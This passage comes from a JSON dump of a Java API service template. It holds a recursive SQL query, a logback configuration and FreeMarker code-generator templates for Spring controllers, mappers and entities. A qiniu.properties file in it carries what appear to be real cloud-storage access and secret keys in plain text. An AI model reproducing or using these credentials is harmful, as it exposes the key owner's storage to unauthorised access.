'拱墅区')  ;\ninsert  into    t_tree  values('017'  ,  '004'  ,  '余杭区')  ;\ninsert  into    t_tree  values('018'  ,  '011'  ,  '金东区')  ;\ninsert  into    t_tree  values('019'  ,  '001'  ,  '广州市')  ;\ninsert  into    t_tree  values('020'  ,  '001'  ,  '深圳市')  ;\n\n\nwith  RECURSIVE  cte  as\n(\n    select  a.id,cast(a.name  as  varchar(100))  from    t_tree  a  where  id='002'\n    union  all  \n    select  k.id,cast(c.name||'>'||k.name  as  varchar(100))  as  name    from    t_tree  k  inner  join  cte  c  on  c.id  =  k.pid\n)select  id,name  from  cte  ;\n-----------------------------------\nSQL技巧：WITH RECURSIVE递归运算\nhttps://blog.51cto.com/u_15101584/2623141"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/logback-spring.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<configuration>\n    <!-- 这里面定义了 CONSOLE_LOG_PATTERN, FILE_LOG_PATTERN 等日志格式, 还定义了一些日志级别 -->\n    <include resource=\"org/springframework/boot/logging/logback/defaults.xml\"/>\n\n    <property name=\"LOG_LEVEL\" value=\"INFO\"/>\n    <property name=\"LOG_PATH\" value=\"log\"/>\n    <property name=\"LOG_FILE\" value=\"project_manager.log\"/>\n    <property name=\"LOG_HISTORY\" value=\"project_qixing.%d{yyyy-MM-dd}.log\"/>\n\n    <!--日志输出到控制台-->\n    <appender name=\"CONSOLE\" class=\"ch.qos.logback.core.ConsoleAppender\">\n        <encoder>\n            <pattern>${CONSOLE_LOG_PATTERN}</pattern>\n        </encoder>\n    </appender>\n\n    <!--日志输出到文件-->\n    <springProfile name=\"!dev\">\n        <appender name=\"FILE\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n            <file>${LOG_PATH}/${LOG_FILE}</file>  <!-- 可自己定义 -->\n            <encoder>\n                <pattern>${FILE_LOG_PATTERN}</pattern> <!-- 输出格式也可自己定义 -->\n            </encoder>\n            <rollingPolicy class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n                <fileNamePattern>${LOG_PATH}/${LOG_HISTORY}</fileNamePattern>\n                <maxHistory>30</maxHistory>\n            </rollingPolicy>\n        </appender>\n    </springProfile>\n\n    <!--异步到文件-->\n    <springProfile name=\"!dev\">\n        <appender name=\"asyncFileAppender\" class=\"ch.qos.logback.classic.AsyncAppender\">\n            <discardingThreshold>0</discardingThreshold>\n            <queueSize>500</queueSize>\n            <appender-ref ref=\"FILE\"/>\n        </appender>\n    </springProfile>\n\n\n    <!--开发环境:打印控制台-->\n    <springProfile name=\"dev\">\n        <!-- 打印sql -->\n        <logger name=\"com.jun.plugin\" level=\"DEBUG\"/>\n        <root level=\"${LOG_LEVEL}\">\n            <appender-ref ref=\"CONSOLE\"/>\n        </root>\n    </springProfile>\n\n    <!-- 输出格式 appender -->\n    <springProfile name=\"!dev\">\n        <root level=\"${LOG_LEVEL}\">\n            <appender-ref ref=\"CONSOLE\"/>\n            <appender-ref ref=\"asyncFileAppender\"/>\n        </root>\n    </springProfile>\n\n\n</configuration>"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/qiniu.properties",
    "content": "bucketName=qixing-files\ndomain=http://qiniu.hbqxcpa.cn\nprefix=upload\ntype=1\nACCESS_KEY=ts0n9OF16ekFkDkZTTlpmyPI-tP3HKQDyw_GR4o2\nSECRET_KEY=c-OjjwV3ZgzCQwxc6W_bsTFKuDg8qeyqohyJU0RL\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/beetlsql/beetlcontroller.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RestController;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Autowired\n    private SQLManager sqlManager;\n\n    /**\n    * 新增或编辑\n    */\n    @PostMapping(\"/save\")\n    public Object save(${classInfo.className} ${classInfo.className?uncap_first}){\n        ${classInfo.className} ${classInfo.className?uncap_first}=sqlManager.unique(${classInfo.className}.class,${classInfo.className?uncap_first}.getId());\n        if(${classInfo.className?uncap_first}!=null){\n            sqlManager.updateById(${classInfo.className?uncap_first});\n            return ${returnUtilSuccess}(\"编辑成功\");\n        }else{\n            sqlManager.insert(${classInfo.className?uncap_first});\n            return ${returnUtilFailure}(\"保存成功\");\n        }\n    }\n\n    /**\n    * 删除\n    */\n    @PostMapping(\"/delete\")\n    public Object delete(int id){\n        ${classInfo.className} ${classInfo.className?uncap_first}=sqlManager.unique(${classInfo.className}.class,id);\n        if(${classInfo.className?uncap_first}!=null){\n            sqlManager.deleteById(id);\n            return ${returnUtilSuccess}(\"删除成功\");\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 查询\n    */\n    @PostMapping(\"/find\")\n    public Object find(int id){\n        ${classInfo.className} ${classInfo.className?uncap_first}=sqlManager.unique(${classInfo.className}.class,id);\n        if(${classInfo.className?uncap_first}!=null){\n            return ${returnUtilSuccess}(${classInfo.className?uncap_first});\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 分页查询\n    */\n    @PostMapping(\"/list\")\n    public Object list(${classInfo.className} ${classInfo.className?uncap_first},\n                        @RequestParam(required = false, defaultValue = \"0\") int pageNumber,\n                        @RequestParam(required = false, defaultValue = \"10\") int pageSize) {\n            List<${classInfo.className}> list = sqlManager.query(${classInfo.className}.class).select();\n            return ${returnUtilSuccess}(list);\n    }\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/beetlsql/beetlentity.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport java.io.Serializable;\nimport lombok.Data;\nimport java.util.Date;\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Data<#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n    public ${classInfo.className}() {\n    }\n</#if>\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/beetlsql/beetlmd.ftl",
    "content": "sample\n===\n\nselect #use(\"cols\")# from ${classInfo.tableName} where #use(\"condition\")#\n\ncols\n===\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        `${fieldItem.columnName}`<#if fieldItem_has_next>,</#if>\n    </#list>\n</#if>\n\nupdateSample\n===\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        `${fieldItem.columnName}=#${fieldItem.fieldName}#`<#if fieldItem_has_next>,</#if>\n    </#list>\n</#if>\n\ncondition\n===\n    1 = 1\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n    @if(!isEmpty(${fieldItem.fieldName})){\n      and `${fieldItem.columnName}`=#${fieldItem.fieldName}#\n    @}\n    </#list>\n</#if>\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/common-mapper/tkentity.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport javax.persistence.*;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if>\n<#if isComment?exists && isComment==true>@Table(name=\"${classInfo.originTableName}\")</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    @Id\n    @GeneratedValue(strategy = GenerationType.IDENTITY)\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    <#if isComment?exists && isComment==true>@Column(name=\"${fieldItem.columnName}\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n    public ${classInfo.className}() {\n    }\n</#if>\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/common-mapper/tkmapper.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport tk.mybatis.mapper.common.Mapper;\nimport org.apache.ibatis.annotations.Mapper;\nimport ${packageName}.entity.${classInfo.className};\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\npublic interface ${classInfo.className}Mapper extends Mapper<${classInfo.className}> {\n\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/controller.ftl",
    "content": "package ${packageController};\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\nimport ${packageModel}.${classInfo.className};\nimport ${packageService}.${classInfo.className}Service;\nimport com.jun.plugin.codegenerator.admin.model.ReturnT;\n\nimport javax.annotation.Resource;\nimport javax.servlet.http.HttpServletRequest;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n* ${classInfo.classComment}\n*\n* Created by wujun on '${.now?string('yyyy-MM-dd HH:mm:ss')}'.\n*/\n@Controller\npublic class ${classInfo.className}Controller {\n\n    @Resource\n    private ${classInfo.className}Service ${classInfo.className?uncap_first}Service;\n\n    /**\n    * 新增\n    */\n    @RequestMapping(\"/insert\")\n    @ResponseBody\n    public ReturnT<String> insert(${classInfo.className} ${classInfo.className?uncap_first}){\n        return ${classInfo.className?uncap_first}Service.insert(${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 删除\n    */\n    @RequestMapping(\"/delete\")\n    @ResponseBody\n    public ReturnT<String> delete(int id){\n        return ${classInfo.className?uncap_first}Service.delete(id);\n    }\n\n    /**\n    * 更新\n    */\n    @RequestMapping(\"/update\")\n    @ResponseBody\n    public ReturnT<String> update(${classInfo.className} ${classInfo.className?uncap_first}){\n        return ${classInfo.className?uncap_first}Service.update(${classInfo.className?uncap_first});\n    }\n\n    /**\n    * Load查询\n    */\n    @RequestMapping(\"/load\")\n    @ResponseBody\n    public ${classInfo.className} load(int id){\n        return ${classInfo.className?uncap_first}Service.load(id);\n    }\n\n    /**\n    * 分页查询\n    */\n    @RequestMapping(\"/pageList\")\n    @ResponseBody\n    public Map<String, Object> pageList(@RequestParam(required = false, defaultValue = \"0\") int offset,\n                                        @RequestParam(required = false, defaultValue = \"10\") int pagesize) {\n        return ${classInfo.className?uncap_first}Service.pageList(offset, pagesize);\n    }\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/dao.ftl",
    "content": "package ${packageDao};\n\nimport org.apache.ibatis.annotations.Param;\nimport org.springframework.stereotype.Component;\nimport ${packageModel}.${classInfo.className};\n\nimport java.util.List;\n\n/**\n* ${classInfo.classComment}\n*\n* Created by wujun on '${.now?string('yyyy-MM-dd HH:mm:ss')}'.\n*/\n@Component\npublic interface ${classInfo.className}Dao {\n\n    /**\n    * 新增\n    */\n    public int insert(@Param(\"${classInfo.className?uncap_first}\") ${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 删除\n    */\n    public int delete(@Param(\"id\") int id);\n\n    /**\n    * 更新\n    */\n    public int update(@Param(\"${classInfo.className?uncap_first}\") ${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * Load查询\n    */\n    public ${classInfo.className} load(@Param(\"id\") int id);\n\n    /**\n    * 分页查询Data\n    */\n\tpublic List<${classInfo.className}> pageList(@Param(\"offset\") int offset,\n                                                 @Param(\"pagesize\") int pagesize);\n\n    /**\n    * 分页查询Count\n    */\n    public int pageListCount(@Param(\"offset\") int offset,\n                             @Param(\"pagesize\") int pagesize);\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/jdbc-template/jtdao.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic interface I${classInfo.className}DAO {\n\n    int add(${classInfo.className} ${classInfo.className?uncap_first});\n\n    int update(${classInfo.className} ${classInfo.className?uncap_first});\n\n    int delete(int id);\n\n    ${classInfo.className} findById(int id);\n\n    List<${classInfo.className}> findAllList(Map<String,Object> param);\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/jdbc-template/jtdaoimpl.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.jdbc.core.BeanPropertyRowMapper;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.stereotype.Repository;\nimport java.util.List;\n</#if>\n\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Repository\npublic class ${classInfo.className}DaoImpl implements I${classInfo.className}Dao{\n\n    @Autowired\n    private JdbcTemplate jdbcTemplate;\n\n    @Override\n    public int add(${classInfo.className} ${classInfo.className?uncap_first}) {\n        return jdbcTemplate.update(\"insert into ${classInfo.tableName}  (<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem >${fieldItem.columnName}<#if fieldItem_has_next>,</#if></#list></#if> ) values (<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem >?<#if fieldItem_has_next>,</#if></#list></#if> )\",\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem >${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}()<#if fieldItem_has_next>,</#if></#list></#if>);\n    }\n\n    @Override\n    public int update(${classInfo.className} ${classInfo.className?uncap_first}) {\n        return jdbcTemplate.update(\"UPDATE  ${classInfo.tableName}  SET <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem ><#if fieldItem_index gt 0 >${fieldItem.columnName}=?<#if fieldItem_has_next>,</#if></#if></#list></#if>\"\n        +\" where <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem ><#if fieldItem_index = 0>${fieldItem.columnName}=?<#break ></#if></#list></#if>\",\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem ><#if fieldItem_index gt 0 >${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}(),</#if></#list>\n            <#list classInfo.fieldList as fieldItem ><#if fieldItem_index = 0 >${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}()</#if></#list>\n        </#if>);\n    }\n\n    @Override\n    public int delete(int id) {\n        return jdbcTemplate.update(\"DELETE from ${classInfo.tableName} where <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem ><#if fieldItem_index = 0>${fieldItem.columnName}=?<#break ></#if></#list></#if>\",id);\n    }\n\n    @Override\n    public ${classInfo.className} findById(int id) {\n        List<${classInfo.className}> list = jdbcTemplate.query(\"select * from ${classInfo.tableName} where <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem ><#if fieldItem_index = 0>${fieldItem.columnName}=?<#break ></#if></#list></#if>\", new Object[]{id}, new BeanPropertyRowMapper<${classInfo.className}>(${classInfo.className}.class));\n        if(list!=null && !list.isEmpty() ){\n            return  list.get(0);\n        }else{\n             return null;\n        }\n    }\n\n    @Override\n    public List<${classInfo.className}> findAllList(Map<String,Object> params) {\n        List<${classInfo.className}> list = jdbcTemplate.query(\"select * from ${classInfo.tableName}\", new Object[]{}, new BeanPropertyRowMapper<${classInfo.className}>(${classInfo.className}.class));\n        if(list!=null && !list.isEmpty() ){\n            return list;\n        }else{\n            return Collections.emptyList();\n        }\n    }\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/jpa/entity.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport javax.persistence.Column;\nimport javax.persistence.Entity;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\nimport javax.persistence.GeneratedValue;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Entity\n<#if isLombok?exists && isLombok==true>@Data</#if>\n<#if isComment?exists && isComment==true>@Table(name=\"${classInfo.tableName}\")</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    @Id\n    @GeneratedValue\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    <#if isComment?exists && isComment==true>@Column(name=\"${fieldItem.columnName}\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n    public ${classInfo.className}() {\n    }\n</#if>\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/jpa/jpacontroller.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport ${packageName}.entity.${classInfo.className};\nimport ${packageName}.repository.${classInfo.className}Repository;\nimport org.springframework.data.domain.Example;\nimport org.springframework.data.domain.Pageable;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.data.domain.ExampleMatcher;\nimport org.springframework.data.domain.PageRequest;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RestController;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Autowired\n    private ${classInfo.className}Repository ${classInfo.className?uncap_first}Repository;\n\n    /**\n    * 新增或编辑\n    */\n    @PostMapping(\"/save\")\n    public Object save(${classInfo.className} ${classInfo.className?uncap_first}){\n        return ${classInfo.className?uncap_first}Repository.save(${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 删除\n    */\n    @PostMapping(\"/delete\")\n    public Object delete(int id){\n        Optional<${classInfo.className}> ${classInfo.className?uncap_first}=${classInfo.className?uncap_first}Repository.findById(id);\n        if(${classInfo.className?uncap_first}.isPresent()){\n            ${classInfo.className?uncap_first}Repository.deleteById(id);\n            return ${returnUtilSuccess}(\"删除成功\");\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 查询\n    */\n    @PostMapping(\"/find\")\n    public Object find(int id){\n        Optional<${classInfo.className}> ${classInfo.className?uncap_first}=${classInfo.className?uncap_first}Repository.findById(id);\n        if(${classInfo.className?uncap_first}.isPresent()){\n            return ${returnUtilSuccess}(${classInfo.className?uncap_first}.get());\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 分页查询\n    */\n    @PostMapping(\"/list\")\n    public Object list(${classInfo.className} ${classInfo.className?uncap_first},\n                        @RequestParam(required = false, defaultValue = \"0\") int pageNumber,\n                        @RequestParam(required = false, defaultValue = \"10\") int pageSize) {\n\n            //创建匹配器，需要查询条件请修改此处代码\n            ExampleMatcher matcher = ExampleMatcher.matchingAll();\n\n            //创建实例\n            Example<${classInfo.className}> example = Example.of(${classInfo.className?uncap_first}, matcher);\n            //分页构造\n            Pageable pageable = PageRequest.of(pageNumber,pageSize);\n\n            return ${classInfo.className?uncap_first}Repository.findAll(example, pageable);\n    }\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/jpa/repository.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>import ${packageName}.entity.${classInfo.className};\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.fieldClass == \"Date\">\n            <#assign importDdate = true />\n        </#if>\n    </#list>\n</#if>\nimport java.util.List;\nimport org.springframework.data.jpa.repository.JpaRepository;\nimport org.springframework.data.jpa.repository.Query;\nimport org.springframework.stereotype.Repository;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Repository\npublic interface ${classInfo.className}Repository extends JpaRepository<${classInfo.className},Integer> {\n\n\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/model.ftl",
    "content": "package ${packageModel};\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.fieldClass == \"Date\">\n            <#assign importDdate = true />\n        </#if>\n    </#list>\n</#if>\nimport java.io.Serializable;\n<#if importDdate?? && importDdate>\nimport java.util.Date;\n</#if>\n\n/**\n*  ${classInfo.classComment}\n*\n*  Created by wujun on '${.now?string('yyyy-MM-dd HH:mm:ss')}'.\n*/\npublic class ${classInfo.className} implements Serializable {\n    private static final long serialVersionUID = 42L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    /**\n    * ${fieldItem.fieldComment}\n    */\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n</#if>\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n\n</#list>\n</#if>\n}"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis/controller.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\nimport javax.annotation.Resource;\nimport javax.servlet.http.HttpServletRequest;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@RestController\n@RequestMapping(value = \"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Resource\n    private ${classInfo.className}Service ${classInfo.className?uncap_first}Service;\n\n    /**\n    * 新增\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/insert\")\n    public Object insert(${classInfo.className} ${classInfo.className?uncap_first}){\n        return ${classInfo.className?uncap_first}Service.insert(${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 刪除\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/delete\")\n    public ReturnT<String> delete(int id){\n        return ${classInfo.className?uncap_first}Service.delete(id);\n    }\n\n    /**\n    * 更新\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/update\")\n    public ReturnT<String> update(${classInfo.className} ${classInfo.className?uncap_first}){\n        return ${classInfo.className?uncap_first}Service.update(${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 查询 根据主键 id 查询\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/load\")\n    public Object load(int id){\n        return ${classInfo.className?uncap_first}Service.load(id);\n    }\n\n    /**\n    * 查询 分页查询\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/pageList\")\n    public Map<String, Object> pageList(@RequestParam(required = false, defaultValue = \"0\") int offset,\n                                        @RequestParam(required = false, defaultValue = \"10\") int pagesize) {\n        return ${classInfo.className?uncap_first}Service.pageList(offset, pagesize);\n    }\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis/mapper.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.apache.ibatis.annotations.Param;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.springframework.stereotype.Repository;\nimport java.util.List;\n</#if>\n\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\n@Repository\npublic interface ${classInfo.className}Mapper {\n\n    /**\n    * 新增\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    int insert(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 刪除\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    int delete(int id);\n\n    /**\n    * 更新\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    int update(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 查询 根据主键 id 查询\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    ${classInfo.className} load(int id);\n\n    /**\n    * 查询 分页查询\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    List<${classInfo.className}> pageList(int offset,int pagesize);\n\n    /**\n    * 查询 分页查询 count\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    int pageListCount(int offset,int pagesize);\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis/mapper2.ftl",
